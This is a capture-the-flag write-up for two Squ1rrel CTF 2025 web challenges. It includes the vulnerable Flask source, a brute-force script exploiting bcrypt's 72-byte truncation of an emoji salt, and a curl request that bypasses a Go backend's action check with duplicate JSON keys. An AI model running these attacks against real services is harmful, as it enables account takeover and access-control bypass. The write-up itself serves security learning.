Squ1rrel CTF 2025

emojicrypt

Passwords can be more secure. We’re taking the first step.

Author: nisala

//app.py 
from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os
from dotenv import load_dotenv
load_dotenv()

app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['πŸŒ€', '🌁', 'πŸŒ‚', '🌐', '🌱', 'πŸ€', '🍁', 'πŸ‚', 'πŸ„', 'πŸ…', '🎁', 'πŸŽ’', 'πŸŽ“', '🎡', 'πŸ˜€', '😁', 'πŸ˜‚', 'πŸ˜•', '😢', '😩', 'πŸ˜—']
NUMBERS = '0123456789'
database = None

def get_db():
    global database
    if database is None:
        database = sqlite3.connect(DATABASE)
        init_db()
    return database

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

def init_db():
    with app.app_context():
        db = get_db()
        cursor = db.cursor()
        cursor.execute('''CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            email TEXT UNIQUE NOT NULL,
            username TEXT UNIQUE NOT NULL,
            password_hash TEXT NOT NULL,
            salt TEXT NOT NULL
        )''')
        db.commit()

@app.route('/register', methods=['POST'])
def register():
    email = request.form.get('email')
    username = request.form.get('username')

    if not email or not username:
        return "Missing email or username", 400
    salt = generate_salt()
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')

    # TODO: email the password to the user. oopsies!

    db = get_db()
    cursor = db.cursor()
    try:
        cursor.execute("INSERT INTO users (email, username, password_hash, salt) VALUES (?, ?, ?, ?)", (email, username, password_hash, salt))
        db.commit()
    except sqlite3.IntegrityError as e:
        print(e)
        return "Email or username already exists", 400

    return redirect(url_for('index', registered='true'))

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    if not username or not password:
        return "Missing username or password", 400
    
    db = get_db()
    cursor = db.cursor()
    cursor.execute("SELECT salt, password_hash FROM users WHERE username = ?", (username,))
    data = cursor.fetchone()
    if data is None:
        return redirect(url_for('index', incorrect='true'))
    
    salt, hash = data
    
    if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
        return os.environ.get("FLAG")
    else:
        return redirect(url_for('index', incorrect='true'))

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

if __name__ == '__main__':
    app.run(port=8000)
// index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Registration & Login</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            const params = new URLSearchParams(window.location.search);
            if (params.get("registered") === "true") {
                const banner = document.createElement("div");
                banner.className = "alert alert-success text-center";
                banner.textContent = "You have successfully registered. Please check your email for a password.";
                document.body.prepend(banner);
            } else if (params.get("incorrect") === "true") {
                const banner = document.createElement("div");
                banner.className = "alert alert-danger text-center";
                banner.textContent = "Password incorrect. Please try again.";
                document.body.prepend(banner);
            }
        });
    </script>
</head>
<body>
    <div class="container mt-5">
        <div class="row">
            <div class="col-md-6">
                <div class="card">
                    <div class="card-header text-center">Register</div>
                    <div class="card-body">
                        <form action="/register" method="POST">
                            <div class="mb-3">
                                <label for="email" class="form-label">Email address</label>
                                <input type="email" class="form-control" id="email" name="email" required>
                            </div>
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
            
            <div class="col-md-6">
                <div class="card">
                    <div class="card-header text-center">Login</div>
                    <div class="card-body">
                        <form action="/login" method="POST">
                            <div class="mb-3">
                                <label for="login-username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="login-username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

We are given 2 file where it happen to be a small website with /login and /register.

@app.route('/register', methods=['POST'])
def register():
    email = request.form.get('email')
    username = request.form.get('username')

    if not email or not username:
        return "Missing email or username", 400
    salt = generate_salt()
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')

Once we register a username and email, the website will create a random password. However, this password is never shared with the user, making it impossible to log in.

The password was 32 random numbers from 0-9.

Vulnerability

The vulnerability occurs at generate_salt(),

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

This creates 12 emoji with 22 'aa'

$> generate_salt()
'🎁aa🌱aa🍁aa🌁aaπŸŒ€aa😁aa🎁aaπŸ˜‚aaπŸ€aa😩aaπŸ„aa🌁'
$> len(generate_salt().encode())
70

However, the maximum length for a bycrpt password was 72. We can bruteforce 2 digits from 00-99

//sol.py
import requests

BASE_URL = "http://52.188.82.43:8060"

REGISTER_URL = f"{BASE_URL}/register"
LOGIN_URL = f"{BASE_URL}/login"

username = "small"
email = "small@small.small"

register_data = {
    "username": username,
    "email": email
}

print("[*] Registering user...")
r = requests.post(REGISTER_URL, data=register_data)
print(f"[+] Registration status code: {r.status_code}")

# Brute force login
print("[*] Starting brute-force attack...")

for i in range(100):
    password = f"{i:02d}"  # Format 2-digit password
    login_data = {
        "username": username,
        "password": password
    }

    response = requests.post(LOGIN_URL, data=login_data)

    if "Password incorrect" not in response.text.lower():  # Adjust this condition based on actual response
        print(f"[+] Login successful with password: {password}")
        print(response.text)
        break
    else:
        print(f"[-] Failed login with password: {password}")

go getter

There's a joke to be made here about Python eating the GOpher. I'll cook on it and get back to you.

Author: kyle

These issues happen when Python and Golang are being used differently.

The application misses rebuilding its JSON structure from whatever was parsed before and forwards the request body to the service request. This is great because it means we can control whatever is sent to the backend service.

The json parser is instructed to bind the value referenced by the key action the the RequestData field Action. So what happens if we have two action fields?

go run ayam.go '{"action":"getflag"}'
Action: getflag

go run ayam.go '{"action":"getflag","Action":"getgopher"}'
Action: getgopher
curl -XPOST http://52.188.82.43:8080/execute -d '{"action":"getflag","Action":"getgopher"}'

Last updated